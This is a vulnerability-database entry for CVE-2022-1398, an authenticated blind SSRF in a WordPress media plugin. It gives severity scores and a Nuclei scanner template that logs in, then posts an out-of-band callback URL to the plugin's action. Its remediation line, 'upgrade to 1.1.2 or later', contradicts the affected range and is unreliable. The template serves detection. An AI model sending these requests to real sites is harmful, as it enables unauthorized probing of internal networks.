4 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:S/C:P/I:N/A:N
6.5 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
NONE
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
6.5 Medium
AI Score
Confidence
High
0.005 Low
EPSS
Percentile
76.4%
WordPress External Media without Import plugin through 1.1.2 is susceptible to authenticated blind server-side request forgery. The plugin has no authorization and does not ensure that media added via URLs are external media, which can allow any authenticated users, including subscribers, to obtain sensitive information, modify data, and/or execute unauthorized administrative operations.
id: CVE-2022-1398
info:
name: External Media without Import <=1.1.2 - Authenticated Blind Server-Side Request Forgery
author: theamanrawat
severity: medium
description: |
WordPress External Media without Import plugin through 1.1.2 is susceptible to authenticated blind server-side request forgery. The plugin has no authorization and does not ensure that media added via URLs are external media, which can allow any authenticated users, including subscribers, to obtain sensitive information, modify data, and/or execute unauthorized administrative operations.
impact: |
Successful exploitation of this vulnerability could allow an attacker to bypass network restrictions, access internal resources, and potentially perform further attacks.
remediation: |
Upgrade to External Media without Import plugin version 1.1.2 or later.
reference:
- https://wpscan.com/vulnerability/5440d177-e995-403e-b2c9-42ceda14579e
- https://wordpress.org/plugins/external-media-without-import/
- https://nvd.nist.gov/vuln/detail/CVE-2022-1398
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
cvss-score: 6.5
cve-id: CVE-2022-1398
cwe-id: CWE-918
epss-score: 0.00516
epss-percentile: 0.76247
cpe: cpe:2.3:a:external_media_without_import_project:external_media_without_import:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 3
vendor: external_media_without_import_project
product: external_media_without_import
framework: wordpress
tags: cve2022,cve,ssrf,wordpress,wp-plugin,wp,wpscan,external-media-without-import,authenticated,intrusive,external_media_without_import_project
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/upload.php HTTP/1.1
Host: {{Hostname}}
- |
POST /wp-admin/admin-post.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
urls=http%3A%2F%2F{{interactsh-url}}&width=&height=&mime-type=&action=add_external_media_without_import
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- http
- type: word
part: body_2
words:
- external-media-without-import
# digest: 4a0a00473045022100ea88341c16c74603a165248c828242edd718bebd88e8fee836f300854f1d421e02200a7cbc1e0bb7b20e0495a0337e0bb328bd711bfe0cb9bd3f6e5281cdcb6b7799:922c64590222798bb761d5b6d8e72950
4 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:S/C:P/I:N/A:N
6.5 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
NONE
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
6.5 Medium
AI Score
Confidence
High
0.005 Low
EPSS
Percentile
76.4%